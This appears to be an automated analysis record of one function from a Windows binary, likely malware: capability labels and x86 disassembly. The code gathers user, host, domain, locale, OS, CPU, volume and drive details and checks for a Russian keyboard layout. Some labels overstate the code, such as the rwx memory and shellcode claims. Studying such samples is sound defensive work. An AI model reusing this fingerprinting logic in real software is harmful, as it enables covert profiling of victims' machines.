Function at 0x40486f
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get disk information
Get disk size
Get hostname
Get session user name
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, ecx
push edi
xor edi, edi
mov dword [ebp - 0x14], ebx
cmp dword [ebx], edi
je 0x4048b0
push 4
push 0x3000
push 0x202
push edi
call esi
lea ecx, [ebp - 0x10]
mov dword [ebx + 8], eax
push ecx
push eax
mov dword [ebp - 0x10], 0x100
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
cmp dword [ebx + 0xc], edi
je 0x4048d6
push 4
push 0x3000
push 0x20
push edi
mov dword [ebp - 0x10], 0x1e
call esi
lea ecx, [ebp - 0x10]
mov dword [ebx + 0x14], eax
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
cmp dword [ebx + 0x18], edi
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
je 0x404936
push 4
push 0x3000
push 0x80
xor eax, eax
push eax
call esi
mov dword [ebx + 0x20], eax
test eax, eax
je 0x404936
push ecx
push 0x80
push eax
push str.Domain
push str.SYSTEMCurrentControlSet_servicesTcpipParameters
push 0x80000002
call fcn.00404810
test eax, eax
je 0x40492a
mov eax, dword [ebx + 0x20]
xor ecx, ecx
cmp word [eax], cx
jne 0x404936
push str.WORKGROUP
push eax
jmp 0x404932
push str.undefined
push dword [ebx + 0x20]
call edi
pop ecx
pop ecx
xor eax, eax
cmp dword [ebx + 0x30], eax
je 0x40497f
push 4
push 0x3000
push 0x80
push eax
call esi
push ecx
push 0x40
push eax
push str.LocaleName
push str.Control_PanelInternational
push 0x80000001
mov dword [ebx + 0x38], eax
call fcn.00404810
test eax, eax
jne 0x40497d
push 0x8000
push eax
push dword [ebx + 0x38]
mov dword [ebx + 0x30], eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
cmp dword [ebx + 0x3c], eax
je 0x404a60
push 4
push 0x3000
push 0x8a
push eax
call esi
push 4
mov dword [ebp - 0x10], eax
add eax, 0xe
push 0x3000
mov dword [ebp - 0x18], eax
xor eax, eax
push 4
push eax
call esi
mov esi, dword [ebp - 0x18]
xor ecx, ecx
inc ecx
mov dword [ebx + 0x44], eax
xor eax, eax
mov dword [ebp - 4], ecx
mov dword [ebp - 8], eax
mov eax, ecx
mov dword [ebp - 0xc], eax
push eax
push 0x412d68
push dword [ebp - 0x10]
call edi
inc dword [ebp - 0xc]
add esp, 8
push 0x80
push esi
push dword [ebp - 0x10]
push str.Keyboard_LayoutPreload
push 0x80000001
call fcn.00404810
test eax, eax
je 0x404a1c
push str.00000419
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x404a25
push 0x413954
push dword [ebx + 0x44]
call edi
xor edx, edx
pop ecx
inc edx
xor eax, eax
pop ecx
mov ecx, eax
mov dword [ebp - 8], edx
mov dword [ebp - 4], ecx
jmp 0x404a2b
xor eax, eax
mov ecx, eax
mov dword [ebp - 4], ecx
jmp 0x404a28
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
cmp eax, 9
je 0x404a37
test ecx, ecx
jne 0x4049c4
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test edx, edx
jne 0x404a4d
push 0x413958
push dword [ebx + 0x44]
call edi
pop ecx
pop ecx
push 0x8000
xor eax, eax
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
cmp dword [ebx + 0x48], eax
je 0x404ac1
push 4
push 0x3000
push 0x82
push eax
call esi
push ecx
push 0x80
push eax
push 0x41395c
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push 0x80000002
mov dword [ebx + 0x50], eax
call fcn.00404810
test eax, eax
jne 0x404abf
push ecx
push 0x80
push dword [ebx + 0x50]
push 0x41395c
push str.SOFTWAREWow6432NodeMicrosoftWindows_NTCurrentVersion
push 0x80000002
call fcn.00404810
push str.error
push dword [ebx + 0x50]
call edi
pop ecx
pop ecx
xor eax, eax
cmp dword [ebx + 0x54], eax
je 0x404b20
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
push 4
push 0x3000
push 0x40
xor eax, eax
push eax
call esi
movzx ecx, word [ebp - 0x48]
xor edx, edx
mov dword [ebx + 0x5c], eax
sub ecx, edx
je 0x404b14
sub ecx, 5
je 0x404b0d
dec ecx
je 0x404b06
sub ecx, 3
je 0x404aff
push str.Unknown
jmp 0x404b19
push 0x413a58
jmp 0x404b19
push str.Itanium
jmp 0x404b19
push 0x413a60
jmp 0x404b19
push 0x413a78
push eax
call edi
pop ecx
pop ecx
xor eax, eax
cmp dword [ebx + 0x24], eax
je 0x404b40
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebx + 0x2c]
push eax
call fcn.00404e71
test eax, eax
jne 0x404b3e
mov dword [ebx + 0x24], eax
jmp 0x404b40
xor eax, eax
cmp dword [ebx + 0x60], eax
je 0x404c8a
push 4
push 0x3000
push 0x400
xor eax, eax
push eax
call esi
push 4
push 0x3000
mov dword [ebx + 0x68], eax
xor eax, eax
push 0xe0c
push eax
call esi
push 0x100
push eax
mov dword [ebp - 0xc], eax
lea ecx, [eax + 0x60c]
mov dword [ebp - 4], ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov ecx, dword [ebp - 0xc]
xor eax, eax
push 0x100
mov word [ecx + 6], ax
lea edx, [ecx + 0x600]
lea eax, [ecx + 0x400]
mov dword [ebp - 0x10], edx
push eax
lea eax, [ecx + 0x604]
push eax
lea eax, [ecx + 0x608]
push eax
push edx
push 0x100
lea eax, [ecx + 0x200]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push ecx
mov ecx, dword [ebp - 4]
push 0x80
push ecx
push str.ProcessorNameString
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push 0x80000002
call fcn.00404810
test eax, eax
je 0x404c12
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 4]
push ecx
push 0x80
lea eax, [ecx + eax*2]
push eax
push str.Identifier
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push 0x80000002
call fcn.00404810
mov eax, dword [ebp - 0x10]
push dword [eax]
push 0x412d68
push dword [ebx + 0x68]
call edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
add esp, 0xc
push dword [ebp - 4]
push dword [ebx + 0x68]
call edi
push str.RtlComputeCrc32
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x18], eax
test eax, eax
je 0x404c69
push dword [ebx + 0x68]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push dword [ebx + 0x68]
push 0x29a
call dword [ebp - 0x18]
jmp 0x404c6b
xor eax, eax
mov dword [ebx + 0x6c], eax
mov eax, dword [ebp - 0x10]
push 0x8000
mov eax, dword [eax]
mov dword [ebx + 0x70], eax
xor eax, eax
push eax
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x404c90
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
xor eax, eax
cmp dword [ebx + 0x74], eax
je 0x404e31
push 4
push 0x3000
push 0x400
push eax
mov dword [ebp - 0x40], str.UNKNOWN
mov dword [ebp - 0x3c], str.NO_ROOT_DIR
mov dword [ebp - 0x38], str.REMOVABLE
mov dword [ebp - 0x34], str.FIXED
mov dword [ebp - 0x30], str.REMOTE
mov dword [ebp - 0x2c], str.CDROM
mov dword [ebp - 0x28], str.RAMDISK
call esi
push 0x41
mov dword [ebx + 0x7c], eax
lea ecx, [ebp - 0x80]
pop eax
mov word [ecx], ax
inc eax
lea ecx, [ecx + 2]
cmp ax, 0x5a
jbe 0x404ce4
mov eax, dword [0x413bc8]
mov dword [ebp - 0x24], eax
mov eax, dword [0x413bcc]
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x10], eax
mov ax, word [ebp + eax*2 - 0x80]
mov word [ebp - 0x24], ax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov esi, eax
cmp esi, 2
jbe 0x404e08
cmp esi, 5
je 0x404e08
xor eax, eax
mov word [ebp - 0x20], ax
lea eax, [ebp - 0x24]
push eax
push dword [ebx + 0x7c]
call edi
push 0x5c
pop eax
push dword [ebp + esi*4 - 0x40]
mov word [ebp - 0x20], ax
push dword [ebx + 0x7c]
call edi
push 0x413bd0
push dword [ebx + 0x7c]
call edi
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
test eax, eax
je 0x404dfe
mov esi, dword [ebp - 0x18]
xor eax, eax
imul esi, dword [ebp - 0xc]
push eax
push esi
push eax
push dword [ebp - 8]
call fcn.0040a1f0
mov ebx, eax
mov edi, edx
xor eax, eax
push eax
push esi
push eax
push dword [ebp - 4]
call fcn.0040a1f0
mov ecx, ebx
mov esi, edi
sub ecx, eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], ecx
sbb esi, edx
push dword [eax + 0x7c]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, dword [ebp - 0x14]
push edi
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
push ebx
mov ecx, dword [edx + 0x7c]
push 0x413bd4
lea eax, [ecx + eax*2]
push eax
call edi
mov ebx, dword [ebp - 0x14]
add esp, 0x10
push dword [ebx + 0x7c]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebx + 0x7c]
push esi
push dword [ebp - 0x1c]
lea eax, [ecx + eax*2]
push str._I64u
push eax
call edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
add esp, 0x10
push 0x413bf0
jmp 0x404e03
push 0x413bf4
push dword [ebx + 0x7c]
call edi
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp eax, 0x1b
jb 0x404d06
push dword [ebx + 0x7c]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebx + 0x7c]
xor edx, edx
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov word [ecx + eax*2 - 2], dx
xor edi, edi
cmp dword [ebx + 0x80], edi
je 0x404e67
push 4
push 0x3000
push 0x81
push edi
call esi
mov dword [ebx + 0x84], eax
test eax, eax
je 0x404e61
push 0x8000
push edi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [ebx + 0x80], edi
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
mov esp, ebp
pop ebp
ret